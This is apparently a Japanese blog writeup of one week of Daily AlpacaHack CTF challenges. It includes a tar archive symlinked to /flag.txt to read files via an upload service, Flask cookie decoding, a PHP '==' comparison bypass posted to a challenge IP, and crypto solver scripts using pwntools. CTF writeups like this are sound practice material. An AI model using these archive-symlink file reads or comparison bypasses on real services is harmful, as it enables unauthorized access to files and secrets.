Daily AlpacaHack Writeup (2026-03-30 ~ 2026-04-05)
Daily AlpacaHack の Writeup.
(2026/3/30 - 2026/4/5)
Tar Uploader (Web, 2026/3/30)
tarファイルをアップロードすると展開してくれるサービス/app/static以外への書き込みが不可能になっている (と Dockerfile に書いてある)/app/static直下から/flag.txtを取得する必要があるので, 試しにシンボリックリンクを送ってみるとうまくフラグが表示された
ln /flag.txt leak.txt tar cf leak.tar leak.txt
- 上記で作成される
leak.tarが解凍されてフラグを表示してくれる
silence (Misc, 2026/3/31)
subprocess.runでcatを実行してくれるが, stdin, stdout, stderr が/dev/nullに流される設定のため表示が表示されなくなっている- このような場合は大抵疑似ファイルシステム (
/proc/など) が関係するため調べたところ, 以下が接続端末への出力に対応していることが分かったため, リダイレクト先に指定することでフラグ獲得.
/dev/tty
OSINT (Misc, 2026/4/1)
- エイプリールフール問題 (自分のユーザー名
labupumpが調査対象として表示されていたが, 別 PC でアクセスするとその問題はログインがないと閲覧できない仕様になっていたためログイン名が表示されているっぽい) - 好きなユニコードを送ればよいとのことなので, ユーザー名のまま以下を送りフラグ獲得
Alpaca{🎃}
Message For You (Web, 2026/4/2)
- flask で作られたアプリケーションで, フラグを含むメッセージが session 変数に保存されている
- flask のセッション管理は基本的に Cookie で行われる (flask-session というライブラリでサーバサイドのセッション管理もできるらしいが今回は使われていない)
- Cookie は署名のため改ざんができないが中身の閲覧は可能
- 今回は flask-unsign を用いて解読しフラグを獲得
flask-unsign --decode --cookie "$COOKIE"
You are my friend (Crypto, 2026/4/3)
- 暗号化のコードを読むと, ROT13 (各文字をアルファベット順で 13 個先のものに変換する) をかけてからひとつ前の文字と xor をとる, という処理をしている
- フラグのプレフィックスが分かっていることから最初の鍵が計算できるため, 逆処理を書いてフラグ獲得
def rot13_char(c): if 'a' <= c <= 'z': return chr((ord(c) - ord('a') + 13) % 26 + ord('a')) if 'A' <= c <= 'Z': return chr((ord(c) - ord('A') + 13) % 26 + ord('A')) return c def rot13(text): return ''.join(rot13_char(c) for c in text) cipher = [238, 55, 26, 13, 30, 30, 21, 56, 58, 43, 60, 40, 52, 45, 6, 47, 48, 33, 53, 51, 62, 24, 37, 61, 5, 56, 7, 23, 83, 123, 44, 56, 52, 24, 7, 23, 15] key = cipher[0] ^ ord(rot13_char("A")) flag = "" for i in range(len(cipher)): flag += rot13_char(chr(cipher[i] ^ key)) key = (cipher[i] ^ key) print(flag)
Impossible Puzzle (web, 2026/4/4)
- 二つの文字列入力を受け取り, 文字長は異なるが
==の比較では同じとなるものを渡せばフラグ獲得 - php では比較に
===を使うのが基本であるため,==では同じになってしまうようなオブジェクトにあたりをつければよさそう - 以下のコードは比較が True となる
<?php $A = "0"; $B = "0.0"; if ($A == $B) { echo "mathced!"; } else { echo "not matched!"; }
==では型を同じものに変換する処理が最初に挟まり, その際に数字の文字列型の場合は数値に直されるという仕様がある- よって "0" と "0.0" はどちらも 0 に変換される
import requests target_url = "http://34.170.146.252:18628/" payload = {"A": "0", "B": "0.0"} resp = requests.post(target_url, data=payload) print(resp.text)
The Horn (Crypto, 2026/4/5)
- 推測不可能なランダムビットについて, 秘密鍵と xor を取りシャッフルする, という暗号化を 32 解繰り返すプログラムで, 最初のランダムビットを推測出来たらフラグが獲得できる仕組み
- こちらからはチャレンジで任意の入力に対して同じ鍵で暗号化をした結果を受け取ることができる
- シャッフルと XOR を分けて考えると, チャレンジで渡した文字列の $i$ 番目の文字が出力のどの場所に来るかを計算することは可能であり, その場所と 32 回のステップで xor をかけられる暗号鍵の組み合わせは一定である
- よって, 32 回のステップで xor をかけられる暗号鍵の組み合わせたものをまとめて一つの暗号鍵と仮定すると, チャレンジで 0xff を送った返り値から秘密鍵が計算可能
- 以上で算出した秘密鍵と最初に示される CHALLENGE とを xor することで目標とするランダムビットの推測が可能となる
from pwn import * ROUNDS = 32 BLOCK_SIZE = 32 PBOX = [5, 22, 31, 18, 3, 19, 11, 13, 10, 25, 24, 0, 2, 17, 20, 12, 6, 26, 1, 7, 16, 4, 27, 21, 15, 8, 30, 28, 14, 23, 29, 9] last_order = list(range(BLOCK_SIZE)) for i in range(ROUNDS): last_order = [last_order[PBOX[j]] for j in range(BLOCK_SIZE)] def unshuffle(bs): return bytes([bs[last_order.index(i)] for i in range(BLOCK_SIZE)]) _, host, port = "nc 34.170.146.252 30351".split() sh = remote(host, port) prompt = sh.recvuntil("CHALLENGE:".encode()) print(prompt.decode()) chal_cyph = bytes.fromhex(sh.recvline().decode().strip()) prompt = sh.recvuntil("pt:".encode()) print(prompt.decode()) payload = b"\xff" * 32 sh.sendline(payload.hex().encode()) resp = bytes.fromhex(sh.recvline().decode().strip()) print(b"resp:", resp) unshuffled = bytes([b1 ^ b2 for b1, b2 in zip(unshuffle(resp),payload)]) print(b"all key:", unshuffled) uns_chal = unshuffle(chal_cyph) chal = bytes(b1 ^ b2 for b1, b2 in zip(uns_chal, unshuffled)) prompt = sh.recvuntil("pt:".encode()) print(prompt.decode()) sh.sendline("guess".encode()) prompt = sh.recvuntil("challenge:".encode()) print(prompt.decode()) sh.sendline(chal.hex().encode()) sh.interactive()